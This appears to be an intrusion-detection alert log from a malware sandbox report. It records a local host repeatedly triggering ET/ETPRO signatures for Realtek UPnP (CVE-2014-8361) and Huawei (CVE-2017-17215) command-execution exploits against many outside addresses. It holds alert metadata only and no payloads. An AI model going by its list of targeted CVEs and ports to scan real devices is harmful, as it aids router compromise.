Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.218.170.227

Timestamp:	07/20/24-23:01:42.262355
SID:	2027339
Source Port:	34778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.80.115.81

Timestamp:	07/20/24-23:01:43.211007
SID:	2027339
Source Port:	46490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.155.27.254

Timestamp:	07/20/24-23:00:57.221504
SID:	2835222
Source Port:	52232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.112.254.56

Timestamp:	07/20/24-23:01:01.810641
SID:	2027339
Source Port:	59764
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.148.208.60

Timestamp:	07/20/24-23:01:07.005156
SID:	2835222
Source Port:	57052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.223.163.108

Timestamp:	07/20/24-23:01:43.906354
SID:	2831300
Source Port:	43652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 95.85.24.175

Timestamp:	07/20/24-23:01:52.686542
SID:	2027339
Source Port:	35262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.119.42.207

Timestamp:	07/20/24-23:01:55.481754
SID:	2027339
Source Port:	57092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 192.80.253.11

Timestamp:	07/20/24-23:01:27.653586
SID:	2829579
Source Port:	33690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 20.226.9.160

Timestamp:	07/20/24-23:01:34.044717
SID:	2835222
Source Port:	58342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.196.203.133

Timestamp:	07/20/24-23:01:42.677814
SID:	2027339
Source Port:	44632
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 193.135.58.157

Timestamp:	07/20/24-23:01:08.565561
SID:	2831300
Source Port:	34016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.138.181.205

Timestamp:	07/20/24-23:01:41.456455
SID:	2025132
Source Port:	38254
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.72.36

Timestamp:	07/20/24-23:01:24.915904
SID:	2829579
Source Port:	47214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.1.75.175

Timestamp:	07/20/24-23:01:59.234149
SID:	2027339
Source Port:	44354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 205.32.150.55

Timestamp:	07/20/24-23:01:08.556804
SID:	2831300
Source Port:	34306
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.57.153.94

Timestamp:	07/20/24-23:01:32.046185
SID:	2835222
Source Port:	37230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 219.196.203.133

Timestamp:	07/20/24-23:01:42.677814
SID:	2831300
Source Port:	44632
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.134.165.10

Timestamp:	07/20/24-23:01:20.096752
SID:	2835222
Source Port:	47872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.139.238.2

Timestamp:	07/20/24-23:01:42.780168
SID:	2027339
Source Port:	41356
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.117.11.208

Timestamp:	07/20/24-23:01:52.019772
SID:	2027339
Source Port:	59776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.169.174.111

Timestamp:	07/20/24-23:01:50.128003
SID:	2027339
Source Port:	40278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.9.135.122

Timestamp:	07/20/24-23:01:50.949008
SID:	2027339
Source Port:	59820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.12.76.39

Timestamp:	07/20/24-23:01:56.925238
SID:	2831300
Source Port:	53866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.221.247.167

Timestamp:	07/20/24-23:01:02.104571
SID:	2829579
Source Port:	46718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.251.2.20

Timestamp:	07/20/24-23:01:44.470424
SID:	2025132
Source Port:	40172
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.24.67.79

Timestamp:	07/20/24-23:02:00.062043
SID:	2027339
Source Port:	52772
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 190.39.12.159

Timestamp:	07/20/24-23:01:14.095462
SID:	2829579
Source Port:	55122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.161.232

Timestamp:	07/20/24-23:01:34.050672
SID:	2829579
Source Port:	41766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.75.190.2

Timestamp:	07/20/24-23:01:52.038833
SID:	2025132
Source Port:	46014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 109.27.210.57

Timestamp:	07/20/24-23:01:53.068033
SID:	2025132
Source Port:	39446
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.18.131.94

Timestamp:	07/20/24-23:01:42.213822
SID:	2027339
Source Port:	43154
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.252.110.127

Timestamp:	07/20/24-23:01:42.800757
SID:	2027339
Source Port:	34404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.39.36.55

Timestamp:	07/20/24-23:01:02.389453
SID:	2027339
Source Port:	40138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 223.241.109.88

Timestamp:	07/20/24-23:01:20.169339
SID:	2829579
Source Port:	45458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 62.157.173.255

Timestamp:	07/20/24-23:01:31.328855
SID:	2831300
Source Port:	47958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.205.165.15

Timestamp:	07/20/24-23:01:42.789220
SID:	2027339
Source Port:	40438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.42.19.221

Timestamp:	07/20/24-23:01:04.058922
SID:	2829579
Source Port:	48874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.249.133.131

Timestamp:	07/20/24-23:00:57.222164
SID:	2835222
Source Port:	57796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.6.200.253

Timestamp:	07/20/24-23:01:31.974907
SID:	2829579
Source Port:	50664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 124.111.25.252

Timestamp:	07/20/24-23:01:27.653309
SID:	2835222
Source Port:	49318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.190.106.207

Timestamp:	07/20/24-23:01:51.113661
SID:	2831300
Source Port:	58152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.204.221.162

Timestamp:	07/20/24-23:02:43.182629
SID:	2027339
Source Port:	45054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 210.49.56.86

Timestamp:	07/20/24-23:01:58.751560
SID:	2025132
Source Port:	43748
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.31.233.114

Timestamp:	07/20/24-23:01:42.653653
SID:	2027339
Source Port:	40142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.50.132.254

Timestamp:	07/20/24-23:01:45.104633
SID:	2027339
Source Port:	58656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.91.11.144

Timestamp:	07/20/24-23:01:42.672378
SID:	2027339
Source Port:	40310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.209.32.105

Timestamp:	07/20/24-23:01:42.509003
SID:	2025132
Source Port:	43184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 32.163.145.253

Timestamp:	07/20/24-23:01:44.631925
SID:	2831300
Source Port:	42362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.94.179.5

Timestamp:	07/20/24-23:01:02.515992
SID:	2027339
Source Port:	52026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.27.97.229

Timestamp:	07/20/24-23:01:08.594120
SID:	2027339
Source Port:	39454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.116.171.252

Timestamp:	07/20/24-23:01:45.775798
SID:	2027339
Source Port:	32852
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 86.228.82.71

Timestamp:	07/20/24-23:01:27.749737
SID:	2835222
Source Port:	44748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.194.44.24

Timestamp:	07/20/24-23:01:42.507489
SID:	2027339
Source Port:	41820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.111.169.67

Timestamp:	07/20/24-23:01:10.684338
SID:	2027339
Source Port:	54702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.0.169.170

Timestamp:	07/20/24-23:01:02.374539
SID:	2027339
Source Port:	54890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.201.119.160

Timestamp:	07/20/24-23:01:41.513792
SID:	2025132
Source Port:	47262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 219.196.66.69

Timestamp:	07/20/24-23:01:43.047922
SID:	2831300
Source Port:	35292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 25.245.127.235

Timestamp:	07/20/24-23:01:44.839991
SID:	2025132
Source Port:	38150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.238.238.121

Timestamp:	07/20/24-23:02:48.060990
SID:	2025132
Source Port:	33080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.20.58.103

Timestamp:	07/20/24-23:01:04.053604
SID:	2835222
Source Port:	54380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.156.232.12

Timestamp:	07/20/24-23:01:24.867858
SID:	2829579
Source Port:	52358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.145.205.177

Timestamp:	07/20/24-23:01:42.280418
SID:	2025132
Source Port:	51174
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.111.137.113

Timestamp:	07/20/24-23:01:45.547334
SID:	2027339
Source Port:	37662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.143.173.10

Timestamp:	07/20/24-23:02:04.052371
SID:	2025132
Source Port:	52100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.14.204.18

Timestamp:	07/20/24-23:01:01.458734
SID:	2027339
Source Port:	41034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.160.62.15

Timestamp:	07/20/24-23:01:42.280419
SID:	2025132
Source Port:	40114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.57.233.80

Timestamp:	07/20/24-23:01:08.590937
SID:	2027339
Source Port:	34124
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.233.35.58

Timestamp:	07/20/24-23:01:45.060540
SID:	2027339
Source Port:	45630
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.40.249.193

Timestamp:	07/20/24-23:01:47.840364
SID:	2027339
Source Port:	54362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.101.61.62

Timestamp:	07/20/24-23:01:43.164529
SID:	2025132
Source Port:	60322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.77.18.239

Timestamp:	07/20/24-23:01:08.668802
SID:	2027339
Source Port:	52958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 144.0.5.154

Timestamp:	07/20/24-23:01:08.613165
SID:	2831300
Source Port:	57364
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 111.144.175.212

Timestamp:	07/20/24-23:01:24.883172
SID:	2829579
Source Port:	39746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.249.141.193

Timestamp:	07/20/24-23:01:52.735812
SID:	2027339
Source Port:	41760
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.50.158.70

Timestamp:	07/20/24-23:01:44.878540
SID:	2027339
Source Port:	42798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.34.203.66

Timestamp:	07/20/24-23:01:34.050313
SID:	2835222
Source Port:	49962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.132.188.245

Timestamp:	07/20/24-23:01:10.770014
SID:	2027339
Source Port:	56962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 50.90.160.227

Timestamp:	07/20/24-23:01:43.135090
SID:	2025132
Source Port:	45490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.211.16.76

Timestamp:	07/20/24-23:01:45.053180
SID:	2027339
Source Port:	51216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.182.118.208

Timestamp:	07/20/24-23:01:44.787907
SID:	2027339
Source Port:	43580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 101.184.157.141

Timestamp:	07/20/24-23:01:45.053180
SID:	2831300
Source Port:	42650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.32.160.159

Timestamp:	07/20/24-23:01:08.572556
SID:	2027339
Source Port:	53584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.202.169.141

Timestamp:	07/20/24-23:01:47.902509
SID:	2027339
Source Port:	50868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.155.48.50

Timestamp:	07/20/24-23:01:46.004063
SID:	2027339
Source Port:	40778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.118.91.27

Timestamp:	07/20/24-23:01:04.228026
SID:	2829579
Source Port:	55100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.93.255.182

Timestamp:	07/20/24-23:01:41.947663
SID:	2027339
Source Port:	45862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.20.92.100

Timestamp:	07/20/24-23:00:59.158279
SID:	2835222
Source Port:	58944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.96.28.181

Timestamp:	07/20/24-23:02:04.577562
SID:	2025132
Source Port:	53524
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.63.234.192

Timestamp:	07/20/24-23:01:01.782123
SID:	2027339
Source Port:	47614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.30.194.82

Timestamp:	07/20/24-23:01:42.374543
SID:	2027339
Source Port:	54338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 194.210.88.179

Timestamp:	07/20/24-23:01:55.296002
SID:	2025132
Source Port:	41596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 172.101.164.72

Timestamp:	07/20/24-23:00:57.222164
SID:	2829579
Source Port:	51548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 71.113.201.241

Timestamp:	07/20/24-23:01:02.229743
SID:	2025132
Source Port:	47964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.0.108.140

Timestamp:	07/20/24-23:01:52.629007
SID:	2027339
Source Port:	34300
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.127.156.38

Timestamp:	07/20/24-23:01:11.631728
SID:	2829579
Source Port:	58466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.216.180.24

Timestamp:	07/20/24-23:01:41.991545
SID:	2025132
Source Port:	48104
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.134.216.118

Timestamp:	07/20/24-23:01:50.075288
SID:	2027339
Source Port:	41624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 31.0.108.140

Timestamp:	07/20/24-23:01:52.629007
